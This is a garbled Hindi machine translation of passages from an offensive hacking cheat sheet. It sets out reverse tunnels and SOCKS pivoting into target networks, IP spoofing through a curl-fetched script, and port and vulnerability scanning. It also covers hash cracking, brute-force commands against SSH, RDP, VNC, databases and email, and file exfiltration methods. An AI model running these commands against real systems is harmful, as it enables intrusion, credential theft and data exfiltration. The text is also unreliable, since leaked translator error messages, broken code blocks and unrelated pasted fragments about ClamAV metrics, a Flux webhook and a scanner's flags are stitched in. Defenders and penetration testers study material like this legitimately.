curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)

root@kitploit:~
[bore.pub](https://github.com/ekzhang/bore) का उपयोग करना (मुफ्त):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

का उपयोग करके serveo.net (मुफ्त):```sh

Forward a random public TCP port to localhost:31337

ssh -R 0:localhost:31337 [email protected]

root@kitploit:~
का उपयोग करके [pinggy.io](https://www.pinggy.io) (60 मिनट मुफ्त):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

यह भी देखें remote.moe (मुफ़्त) लक्ष्य से आपके वर्कस्टेशन पर raw TCP अग्रेषित करने के लिए या playit (मुफ़्त) या ngrok (सशुल्क सदस्यता) raw पब्लिक TCP पोर्ट अग्रेषित करने के लिए।

अन्य मुफ़्त सेवाएँ केवल HTTPS अग्रेषित करने तक सीमित हैं (raw TCP नहीं)। नीचे दी गई कुछ तरकीबें दिखाती हैं कि HTTPS फ़ॉरवर्ड पर raw TCP को (websockets का उपयोग करके) कैसे टनल किया जाए।


3.iii.b HTTPS रिवर्स टनल

सर्वर पर, इन तीन HTTPS टनलिंग सेवाओं में से किसी एक का उपयोग करें:```sh

Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using remote.moe

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using cloudflared

curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate

root@kitploit:~
कोई भी सेवा आपके उपयोग के लिए एक नया अस्थायी HTTPS-URL उत्पन्न करेगी।  

फिर, HTTPS URL के माध्यम से रॉ TCP को टनल करने के लिए दोनों सिरों पर [websocat](https://github.com/vi/websocat) या [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) का उपयोग करें:

A. HTTPS के माध्यम से एक सरल STDIN/STDOUT पाइप:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
root@kitploit:~
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. HTTPS के माध्यम से रॉ TCP फॉरवर्ड करें:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
पोर्ट 2222 को सर्वर के पोर्ट 22 पर फ़ॉरवर्ड करें।```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

या सर्वर को Socks-Proxy EXIT नोड के रूप में उपयोग करें (उदाहरण के लिए, सर्वर के नेटवर्क के अंदर किसी भी होस्ट तक पहुंचें या सर्वर के माध्यम से इंटरनेट तक भी पहुंचें (ऊपर दिए गए HTTPS रिवर्स टनल का उपयोग करके):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
अधिक: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) और [Cloudflare के माध्यम से किसी भी TCP सेवा के लिए टनल](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) और [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c iptables के साथ ट्रैफ़िक बाउंस करना**

बिना किसी userland प्रॉक्सी या फ़ॉरवर्डर को चलाने की ज़रूरत के, किसी होस्ट/राउटर के माध्यम से बाउंस करें:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(देखें Hackshell bounce)

फिर forwards को इस प्रकार सेट करें:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
हम इस तरकीब का उपयोग फ़ायरवॉल वाले नेटवर्कों के अंदर से gsocket-relay-network (या TOR) तक पहुँचने के लिए करते हैं।```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c गोस्ट आईपी / आईपी स्पूफिंग

लक्ष्य नेटवर्क के अंदर एक होस्ट पर उपयोगी है। यह टूल SHELL को (बिना निशान छोड़े) पुनः कॉन्फ़िगर करता है: इस SHELL से शुरू किया गया कोई भी प्रोग्राम (nmap, cme, ...) एक नकली IP का उपयोग करेगा। आपके सभी हमले एक ऐसे होस्ट से उत्पन्न होंगे जो अस्तित्व में नहीं है।```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
यह निम्नलिखित के साथ संयोजन में भी काम करता है:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): आपके ROOT सर्वर को TARGET NETWORK से जोड़ेगा और लक्ष्य नेटवर्क के अंदर एक Ghost IP का उपयोग करेगा।
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): जैसा ऊपर है, लेकिन कम सुरक्षित।

---
<a id="tunnel-more"></a>
**3.vi.d विभिन्न टनल ट्रिक्स**

### CDN के माध्यम से टनल
 * [CloudFlare के माध्यम से किसी भी TCP सेवा को टनल कैसे करें](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) पढ़ें, या [DarkFlare](https://github.com/doxx/darkflare) का उपयोग करें।

### अपने होस्ट को सीधे रिमोट नेटवर्क से कनेक्ट करें
 * [WireTap](https://github.com/sandialabs/wiretap) - उपयोगकर्ता या root के रूप में काम करता है। ट्रांसपोर्ट के रूप में UDP का उपयोग करता है। ([इसे आज़माएँ](https://thc.org/segfault/wireguard) segfault पर।)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - ट्रांसपोर्ट के रूप में TCP का उपयोग करता है। [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) या gs-netcat के माध्यम से अच्छी तरह काम करता है।

### Cloudflare के माध्यम से SSH को एक सस्ते रिवर्स प्रॉक्सी के रूप में उपयोग करें

यह विधि [HTTPS reverse tunnels](#https) के समान है, लेकिन Gost या websocat के बजाय SSH का उपयोग करती है।
- लाभ: लक्ष्य पर केवल *cloudflared* और *SSH* का उपयोग करता है।
- नुकसान: इसके लिए CF सदस्यता आवश्यक है।

 1. अपने CF डैशबोर्ड पर जाएँ -> Zero Trust -> Networks -> Tunnels
 2. किसी भी नाम का एक नया 'Cloudflared' टनल बनाएँ।
 3. Debian और 64-bit चुनें। Token पूरी तरह से नहीं दिखाया जाता है। पूरा Token प्रकट करने के लिए ग्रे किए गए क्षेत्र को एक अलग दस्तावेज़ में कॉपी करके 'Token' निकालें (`sudo cloudflared service install <TunnelTokenHere>` के बाद आने वाले लंबे hex-स्ट्रिंग्स)।
 4. एक सबडोमेन जोड़ें (उदाहरण `ssh.team-teso.net` का उपयोग करता है)।
 5. Type=TCP URL=localhost:22 सेट करें।```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

I don't see any content to translate. The input section appears to be empty. Since I must only return the translated text and there is none, I will return an empty response.```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
* docker run -v /path/to/aclog-directory-with-results:/usr/app/reports/converted/:Z ghcr.io/flexibleir/aclog convert --to-hunt```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

कोई अन्य प्रोटोकॉल रिवर्स प्रॉक्सी के माध्यम से टनल करने के लिए ProxyChains या GrafTCP का उपयोग करें।


3.iv. Socks Proxy के माध्यम से किसी भी टूल का उपयोग करें

gsocket का उपयोग करके टारगेट से अपने वर्कस्टेशन तक एक टनल बनाएं:

टारगेट के नेटवर्क पर:```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
अपने वर्कस्टेशन पर:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

ProxyChain का उपयोग करना:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### GrafTCP का उपयोग:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. अपना सार्वजनिक IP पता खोजें```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
किसी भी IP पते के बारे में जियोलोकेशन जानकारी प्राप्त करें:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

IP address द्वारा ASN जानकारी प्राप्त करें:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
जाँचें कि TOR काम कर रहा है:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. दुनिया भर से पहुँच (रिचैबिलिटी) जाँचें

https://ping.pe/ पर मौजूद बेहतरीन लोग आपको दुनिया भर से किसी होस्ट का ping/traceroute/mtr/dig/port-check करने, TCP पोर्ट जाँचने, डोमेन नाम हल (resolve) करने... और कई अन्य चीज़ें करने की सुविधा देते हैं।

यह जाँचने के लिए कि आपका (वर्तमान) होस्ट इंटरनेट तक कितनी अच्छी तरह पहुँच सकता है, OONI Probe का उपयोग करें:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. किसी IP पर खुले पोर्ट की जाँच/स्कैन करें**

[Censys](https://search.censys.io/) या [Shodan](https://internetdb.shodan.io) पोर्ट लुकअप सेवा:```shell
curl https://internetdb.shodan.io/1.1.1.1

तेज़ (-F) भेद्यता स्कैन```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
खुले TCP पोर्ट स्कैन करें:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(देखें Hackshell scan)

सरल bash पोर्ट-स्कैनर:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. पासवर्ड हैश क्रैक करें**

 1. [NTLM2password](https://ntlm.pw/) NTLM पासवर्ड क्रैक (लुकअप) करने के लिए
 2. [wpa-sec](https://wpa-sec.stanev.org) WPA PSK पासवर्ड क्रैक (लुकअप) करने के लिए

बाकी सबके लिए HashCat हमारा मुख्य टूल है:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

GPU पर 10-दिन 7-16 अक्षर हैशमास्क का उपयोग करते हुए:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
OpenSSH के `known_hosts` हैश को क्रैक करके IP पता प्रकट करें:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 FAQ पढ़ें।

ध्यान रखें कि $6$ हैश धीमे होते हैं। यहां तक कि 1-मिनट 7-16 अक्षर हैशमास्क को 8xRTX4090 क्लस्टर पर पूरा करने में कई दिन लग सकते हैं।

$0.40/घंटा में vast.ai पर RTX-4090 GPU-क्लस्टर किराए पर लें और dizcza/docker-hashcat:cuda का उपयोग करें (और पढ़ें)।

अन्यथा, Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis का उपयोग करें या अपने खुद के AWS इंस्टेंस पर क्रैक करें।

3.xi. ब्रूट फोर्स पासवर्ड / कुंजियाँ

निम्नलिखित ऑनलाइन सेवाओं के पासवर्ड ब्रूट फोर्स (अनुमान लगाने) करने के लिए है।

GMail मूर्ख - यहाँ क्लिक करें

आप GMAIL खातों को ब्रूट फोर्स नहीं कर सकते।
GMAIL पर SMTP AUTH/LOGIN अक्षम है।
सभी GMail ब्रूट फोर्स और पासवर्ड क्रैकिंग उपकरण नकली हैं।

सभी उपकरण segfault पर पहले से इंस्टॉल हैं:```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(आप अपना [खुद का EXIT node](https://www.thc.org/segfault/wireguard) उपयोग करना चाह सकते हैं)

उपकरण:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [दस्तावेज़](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - लक्ष्य IP रेंज पर सभी ssh कुंजियों को आज़माने के लिए बढ़िया।

यूज़रनेम और पासवर्ड सूचियाँ:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THC का पसंदीदा<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


**U**sername/**P**assword सूची और **T**arget होस्ट सेट करें।```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

उपयोगी Nmap पैरामीटर:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
उपयोगी **Ncrack** पैरामीटर:```shell
-U "${ULIST}"
-P "${PLIST}"

उपयोगी Hydra पैरामीटर:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
अंत में, सत्यापित करें कि वेबहुक काम कर रहा है और पूरी तरह से सेट अप हो गया है:

```shell
kubectl logs -n flux-system deployment/webhook-receiver
``````shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

I didn't receive any source text to translate — the input after INPUT: is empty. Please provide the chunk content so I can translate it into Hindi.```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
<!-- No content provided for translation. -->```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

Please provide the Markdown content to translate.```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
* [Prometheus](#prometheus)

### Prometheus

clamonacc, clamd, और freshclam ने `clamav-unofficial-sigs` परियोजना के माध्यम से पहले से ही `clamav_prometheus` लक्ष्य का समर्थन किया था। हालाँकि, `Clamaviscious` परियोजना (जिसे [यहाँ](https://github.com/Valian/Clamaviscious) पाया जा सकता है) एक उत्कृष्ट Prometheus निर्यातक प्रदान करती है।

Prometheus मेट्रिक्स डिफ़ॉल्ट रूप से अलग-अलग ClamAV प्रक्रियाओं से निर्यात नहीं किए जाते हैं। ये मेट्रिक्स केवल तब उपलब्ध होते हैं जब एक्ज़ीक्यूटेबल `clamav-prometheus` फ्लेवर के साथ Docker में चल रहे हों। `clamav-prometheus` फ्लेवर चलाने से REST API सर्वर भी शुरू होता है जो Prometheus को स्क्रैप करने के लिए मेट्रिक्स को उजागर करता है। `clamav-prometheus` इमेज में `clamav_server` इमेज की सभी क्षमताएँ हैं, साथ ही मेट्रिक्स खींचने के लिए REST API भी है।

उपलब्ध मेट्रिक्स की एक तालिका देखने के लिए [ClamAV दस्तावेज़](https://docs.clamav.net/manual/Usage/Docker.html#prometheus-metrics) देखें, जिसमें निर्यात किए गए प्रत्येक मेट्रिक का विवरण भी है।

> :information_source: नोट: वर्तमान में DockerHub `clamav-prometheus` इमेज को ClamD शुरू करने के लिए `clamav_server` फ्लेवर की आवश्यकता होती है। यह एक सीमा के कारण है जिसे भविष्य की सुविधा रिलीज़ में हल किया जाएगा।```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

The input chunk is empty — no content was provided to translate. Please supply the source text for chunk 182.```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
- **`--live`** - यह फ़्लैग `--force` के साथ अतिरिक्त रूप से प्रयोग किया जा सकता है ताकि दिए गए एंडपॉइंट पर सीधे जीवंतता जांच चलाई जा सके। दिए गए एंडपॉइंट का उपयोग HTTP अनुरोधों को चलाने और प्रतिक्रियाओं को एकत्र करने के लिए किया जाएगा ताकि यह विश्लेषण किया जा सके कि वे काम करते हैं या नहीं।

- **`--passive`** - **पैसिव स्रोतों का उपयोग करता है** (जैसे खोज इंजन और सार्वजनिक डेटाबेस) एंडपॉइंट प्राप्त करने के लिए, और फिर उनसे जुड़ता है। यह उपकरण कभी भी लक्ष्य से सीधे कनेक्ट नहीं होगा, बल्कि तीसरे पक्षों के माध्यम से लक्ष्य के बारे में जानकारी प्राप्त करेगा, प्रतिक्रियाओं, पृष्ठों और डेटा का विश्लेषण करके।

- **`--ecosystem`** - आपको एक इकोसिस्टम फ़ाइल/भेद्यता चेतावनी पृष्ठ के अंदर लक्ष्यों को स्कैन करने देता है। उदाहरण के लिए, आप npm के लिए [`package.json`](https://docs.npmjs.com/cli/v10/configuring-npm/package-json) या अपने प्रोजेक्ट में निर्भरता खोजने के लिए एक [`pom.xml`](https://maven.apache.org/pom.html#Introduction) फ़ाइल पास कर सकते हैं। आप एक dependabot या GitHub सलाहकार घटक पृष्ठ URL भी पास कर सकते हैं।

- **`-o, --output`** - **परिणामों को एक फ़ाइल में लिखता है**।

- **`-f, --format`** - यह फ़्लैग फ़ाइल के लिए आउटपुट स्वरूप निर्दिष्ट कर सकता है। `txt` स्वरूप के अतिरिक्त, `json`, `jsonl`, `csv`, `md` और एक आकर्षक `html` रिपोर्ट भी उपलब्ध है।

- **`--config`** - ProxyFleet कई सेटिंग्स के साथ आता है, जिन्हें [कॉन्फ़िगरेशन फ़ाइल](https://github.com/wealeson1/ProxyFleet/blob/main/README.md#configuration) में देखा जा सकता है। आप इस फ़्लैग का उपयोग ProxyFleet को एक कस्टम कॉन्फ़िगरेशन फ़ाइल (YAML प्रारूप में) पास करने के लिए कर सकते हैं। आप पर्यावरण चर का उपयोग करके किसी भी मान को सेट कर सकते हैं।

- **`--auth`** - स्कैन के लिए प्रमाणीकरण विकल्पों को कॉन्फ़िगर करता है। यह फ़्लैग आपको यह कॉन्फ़िगर करने की अनुमति देने के लिए डिज़ाइन किया गया है कि ProxyFleet को लक्ष्य एप्लिकेशन से कैसे प्रमाणित होना चाहिए (वर्तमान में केवल `raw` रणनीति का समर्थन करता है जो `'Cookie'` हेडर का उपयोग करती है)।

- **`--vault`** - (वैकल्पिक) - **ProjectDiscovery के क्लाउड प्लेटफ़ॉर्म** के साथ स्कैन को प्रमाणित करें ताकि अधिक पैसिव स्रोतों, अधिक API कुंजियों और दर सीमाओं से बचने तक पहुँच प्राप्त की जा सके।```shell
## SMB (windows)
nmap --script smb-brute "$T"

Please provide the Markdown content to translate.```shell

Telnet

nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

root@kitploit:~
I apologize, but I don't see any source content to translate. The input after "INPUT:" is empty. Please provide the actual Markdown content for chunk 188 of 494, and I'll translate it from English to Hindi according to your rules.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

श्रेय / संदर्भ```shell

VNC (with metasploit)

msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run

root@kitploit:~
Chisel: HTTP पर तेज़ TCP/UDP टनल, SSH के माध्यम से सुरक्षित```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. डेटा अपलोड/डाउनलोड/एक्सफिल

सबसे आसान: किसी Segfault Root Server पर exfil टाइप करें

या curl का उपयोग करें और अपना खुद का PHP exfil server चलाएँ।

4.i फ़ाइल एन्कोडिंग

लक्ष्य तक फ़ाइल स्थानांतरित करने की तरकीब जब लक्ष्य के पास इंटरनेट की पहुँच न हो: बाइनरी फ़ाइल को ASCII-text (base64) में बदलें और फिर कट एवं पेस्ट का उपयोग करें। (वैकल्पिक रूप से, उसी TCP कनेक्शन पर फ़ाइल स्थानांतरित करने के लिए gs-netcat के elite कंसोल में Ctrl-e c का उपयोग करें।)

अपने वर्कस्टेशन पर xclip का उपयोग करके एन्कोडेड डेटा को सीधे अपने क्लिपबोर्ड में पाइप करें:```shell base64 -w0 </etc/issue.net | xclip

root@kitploit:~
#### >>> UU एन्कोड/डिकोड```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
आउटपुट - यहाँ क्लिक करें

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### >>> base64 encode/decode```sh base64 -w0 आउटपुट - यहाँ क्लिक करें

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh base64 -d >issue.net-COPY ``` #### >>> Openssl एन्कोड/डिकोड```sh openssl base64 आउटपुट - यहाँ क्लिक करें

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd encode/decode```sh xxd -p आउटपुट - यहाँ क्लिक करें

4b616c6920474e552f4c696e757820526f6c6c696e670a

```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. फ़ाइल स्थानांतरण - कट और पेस्ट का उपयोग करके

रिमोट मशीन पर एक फ़ाइल में पेस्ट करें (टैब या $-चर के साथ गड़बड़ न करने के लिए <<-'__EOF__' पर ध्यान दें)।```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. फ़ाइल स्थानांतरण - *tmux* का उपयोग करते हुए

अपने वर्कस्टेशन पर `tmux` प्रारंभ करें। अपने लक्ष्य से किसी भी पसंदीदा माध्यम से जुड़ें (ssh, gs-netcat, ...)।

#### रिमोट से लोकल तक (डाउनलोड)

बड़ी फ़ाइलों को लक्ष्य से टर्मिनल के माध्यम से अपने वर्कस्टेशन पर डाउनलोड करने के लिए [Tmux-Logging](#tmux) का उपयोग करें।

#### लोकल से रिमोट तक (अपलोड)

रिमोट पर अपना पसंदीदा डिकोडिंग टूल (base64) प्रारंभ करें:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

अपने वर्कस्टेशन पर, और एक अलग टर्मिनल से, base64-एन्कोडेड डेटा भेजें। यह आपके REMOTE पर screen-xfer.txt में पहुंचेगा।```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. फ़ाइल स्थानांतरण - *screen* का उपयोग करना

#### रिमोट से लोकल में (डाउनलोड)

अपने लोकल कंप्यूटर पर एक *screen* चलाएँ और अपने शेल के भीतर से रिमोट सिस्टम में लॉग इन करें। अपनी लोकल screen को सभी आउटपुट screen-xfer.txt में लॉग करने के लिए निर्देश दें:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

हम अपने डेटा को एन्कोड करने के लिए *openssl* का उपयोग करते हैं लेकिन उपरोक्त कोई भी एन्कोडिंग विधि काम करती है। यह कमांड base64 एन्कोडेड डेटा को टर्मिनल में प्रदर्शित करेगा और *screen* इस डेटा को *screen-xfer.txt* में लिखेगा:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

अपनी स्थानीय स्क्रीन को आगे कोई डेटा लॉग करने से रोकें:

CTRL-a H

अपने स्थानीय कंप्यूटर पर फ़ाइल को डिकोड करें:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### LOCAL से REMOTE तक (अपलोड)

अपने स्थानीय सिस्टम पर डेटा एन्कोड करें:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

रिमोट सिस्टम पर (और वर्तमान screen के भीतर से):```sh openssl base64 -d

root@kitploit:~
*screen* को बेस64 एन्कोडेड डेटा को अपने क्लिपबोर्ड में डालने दें और फिर डेटा को क्लिपबोर्ड से रिमोट सिस्टम पर पेस्ट करें:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

नोट: [openssl में बग](https://github.com/openssl/openssl/issues/9355) के कारण दो CTRL-d आवश्यक हैं।

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. फ़ाइल स्थानांतरण - gs-netcat और sftp का उपयोग करना

[gs-netcat](https://github.com/hackerschoice/gsocket) का उपयोग करें और sftp प्रोटोकॉल को इसके भीतर एनकैप्सुलेट करें। यह NAT/Firewall के पीछे मौजूद होस्ट्स तक पहुंच की अनुमति देता है।```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

अपने वर्कस्टेशन से SFTP सर्वर से कनेक्ट करने के लिए यह कमांड चलाएँ:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
या एक फ़ाइल को DUMP करने के लिए:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. फ़ाइल स्थानांतरण - HTTPs का उपयोग करके

सर्वर से रिसीवर पर डाउनलोड करें:

प्रेषक/सर्वर पर:```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
प्राप्तकर्ता: किसी भी ब्राउज़र से URL एक्सेस करके दूरस्थ फ़ाइल सिस्टम देखें/डाउनलोड करें।

